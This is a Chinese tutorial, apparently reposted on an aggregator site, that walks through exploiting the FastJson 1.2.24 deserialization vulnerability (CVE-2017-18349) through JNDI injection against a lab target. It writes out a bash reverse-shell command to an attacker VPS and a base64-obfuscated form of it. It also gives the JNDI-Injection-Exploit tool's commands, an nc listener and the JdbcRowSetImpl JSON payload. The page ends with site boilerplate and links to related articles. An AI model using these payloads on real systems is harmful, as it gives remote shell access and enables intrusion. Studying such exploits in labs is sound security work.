FastJson远程代码执行漏洞基于JNDI反弹shell使用

这篇具有很好参考价值的文章主要介绍了FastJson远程代码执行漏洞基于JNDI反弹shell使用。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

基础知识:

漏洞利用的两种方式:

靶场环境说明

反弹shell准备

反弹shell执行


在FastJson组件1.2.24及之前版本存在远程代码执行漏洞(CVE-2017-18349)。

基础知识:

Fastjson是阿里巴巴公司开发的一个Java语言编写的高性能的JSON处理器。它采用一种“假定有序快速匹配”的算法,号称是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。它提供两个主要接口toJSONString()和 parseObject()进行序列化和反序列化。

漏洞利用的两种方式:

基于Templateslmpl

基于JNDI

本文从JNDI的注入方式来实现反弹shell。

靶场环境说明

FastJson远程代码执行漏洞基于JNDI反弹shell使用

通过burpsuite可以抓到提交的报文:

FastJson远程代码执行漏洞基于JNDI反弹shell使用

 在Repeater处修改str的值可以进行注入验证

反弹shell准备

1、设计一个shell命令,如下,更新vps的IP以及端口

bash -i >&/dev/tcp/xxx.xxx.xxx.xxx/port 0>&1

这里需要注意shell命令里不要空格或换行指令,在>&后面不要有空格。否则反弹shell的时候命令执行会报异常退出。

通过base64的bash加密,通过多种格式在线加密解密 - ASCII\十进制\十六进制\二进制在线转换工具可简单实现shell命令的base64加密。

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvcG9ydCAwPiYx}|{base64,-d}|{bash,-i}

2、下载JNDI注入工具,建立rmi、ldap服务

JNDI-Injection-Exploit工具下载路径:GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)

JNDI介绍:

JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可用于 Fastjson、Jackson等相关漏洞的验证。

JNDI注入利用工具使用:

可执行程序为jar包,在命令行中运行以下命令:

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

其中:

  • -C - 远程class文件中要执行的命令。

    (可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")

  • -A - 服务器地址,可以是IP地址或者域名。

    (可选项 , 默认地址是第一个网卡地址)

注意:

  • 要确保 109913898180端口可用,不被其他程序占用。如果只希望RMISERVER的话,就只要开放1099端口。

    或者你也可以在run.ServerStart类26~28行更改默认端口。

  • 命令会被作为参数传入Runtime.getRuntime().exec()

    所以需要确保命令传入exec()方法可执行。

    bash等可在shell直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C "bash -c ..."

示例:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "command" -A "ip-address"

 3、启动JNDI注入工具,获得rmi服务或ldap服务的链接

FastJson远程代码执行漏洞基于JNDI反弹shell使用

4、通过nc启动监听步骤1中的端口,如下图

nc -lvvp [port]

FastJson远程代码执行漏洞基于JNDI反弹shell使用

5、fastJson反序列化漏洞的注入payload

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxx.xxx.xxx.xxx:1099/731tna","autoCommit":true}}

rmi这一段的值为JNDI注入工具生成的链接。

 准备好以上后,返回burpSuite里通过Repeater来触发shell。

反弹shell执行

在burpsuite中的Repeater触发注入的payload

FastJson远程代码执行漏洞基于JNDI反弹shell使用

 发送payload,在JNDI启动的服务监听中就可以获取到触发的结果,在nc的监听中可以看见反弹shell成功。

FastJson远程代码执行漏洞基于JNDI反弹shell使用

 以上就是基于JNDI注入的反弹shell使用。文章来源地址https://www.toymoban.com/news/detail-414271.html

到了这里,关于FastJson远程代码执行漏洞基于JNDI反弹shell使用的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 微软远程桌面服务远程代码执行漏洞

    人和管理成为主要入侵突破口 安全需要人、技术、管理的全方位保障,然而人与管理由于其复杂性,常常成为入侵突破口。在 19 年处理的安全事件中,弱口令事件占比 22%,钓鱼邮件相关事件占比 7%,配置不当事件占比 3%, 与人和管理相关的事件合计占总数的 1/3,安全管理

    2024年02月13日
    浏览(34)
  • RCE 远程代码执行漏洞分析

    Remote Command/Code Execute 远程命令执行/远程代码执行漏洞 这种漏洞通常出现在应用程序或操作系统中,攻击者可以通过利用漏洞注入恶意代码,并在受攻击的系统上执行任意命令。 PHP 代码执行 PHP 代码注入 OS 命令执行 OS 命令注入 Java、Python…… Web 应用程序 远程服务 操作系统

    2024年02月08日
    浏览(37)
  • 远程代码执行漏洞的利用与防御

    全称:remote command/code execute 分为远程命令执行和远程代码执行 1.命令执行漏洞: 直接调用操作系统命令 2.代码执行漏洞: 靠执行脚本代码调用操作系统命令 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防

    2024年02月15日
    浏览(42)
  • Office远程代码执行漏洞(CVE-2017-11882)漏洞复现

    CVE-2017-11882允许攻击者在当前用户的上下文中运行任意代码,导致无法正确处理内存中的对象,即为“ Microsoft Office Memory Corruption Vulnerability “,栈溢出的远程执行漏洞 该漏洞是在 EQNEDT32.EXE 组件的缓冲区溢出导致。当受害用户打开Office文档时就有可能被漏洞利用,危害极大。

    2024年02月12日
    浏览(43)
  • 漏洞复现-Drupal远程代码执行漏洞(CVE-2018-7602)

    Drupal 7.x 和 8.x 的多个子系统中存在一个远程执行代码漏洞。这可能允许攻击者利用 Drupal 站点上的多个攻击媒介,从而导致该站点受到威胁。此漏洞与 Drupal 核心 - 高度关键 - 远程代码执行 - SA-CORE-2018-002 有关。SA-CORE-2018-002 和此漏洞都在野外被利用。 -c 后面接命令,紧随账号

    2024年02月16日
    浏览(50)
  • 漏洞复现 CVE-2023-0297( pyload远程代码执行漏洞 )

    在 addcrypted2() 函数中,对传入的参数 jk 解析后用 eval_js() 作为 JS 语句执行。 利用 JS 中 pyimport 导入 OS 包,执行系统命令(文件操作,进程管理),还可以利用 os.system() 执行 shell 命令。 构建 payload 过程比较简单,只要传入所需的 package, crypted, jk, passwords 四个参数即可,这里

    2024年02月08日
    浏览(38)
  • CVE-2019-0708远程桌面服务远程执行代码漏洞复现

    1、相关简介 Windows再次被曝出一个破坏力巨大的高危远程漏洞CVE-2019-0708。攻击者一旦成功利用该漏洞,便可以在目标系统上执行任意代码,包括获取敏感信息、执行远程代码、发起拒绝服务攻击等等攻击行为。2019年5月14日微软官方发布安全补丁,修复了windows远程桌面服务的远

    2024年02月10日
    浏览(48)
  • HTTP.sys远程代码执行漏洞修复

    Http.sys是Microsoft Windows处理HTTP请求的内核驱动程序。HTTP.sys会错误解析某些特殊构造的HTTP请求,导致远程代码执行漏洞。成功利用此漏洞后,攻击者可在System帐户上下文中执行任意代码。由于此漏洞存在于内核驱动程序中,攻击者也可以远程导致操作系统蓝屏。此次受影响的

    2024年02月02日
    浏览(44)
  • Http.sys远程代码执行漏洞复现

    Http.sys是Microsoft Windows处理HTTP请求的内核驱动程序。HTTP.sys会错误解析某些特殊构造的HTTP请求,导致远程代码执行漏洞。成功利用此漏洞后,攻击者可在System帐户上下文中执行任意代码。由于此漏洞存在于内核驱动程序中,攻击者也可以远程导致操作系统蓝屏。此次受影响的

    2023年04月26日
    浏览(49)
  • MS12-020远程桌面代码执行漏洞修复

    MS12-020(全称:Microsoft windows远程桌面协议RDP远程代码执行漏洞),远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。Windows在处理某些对象时存在错

    2024年02月03日
    浏览(55)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包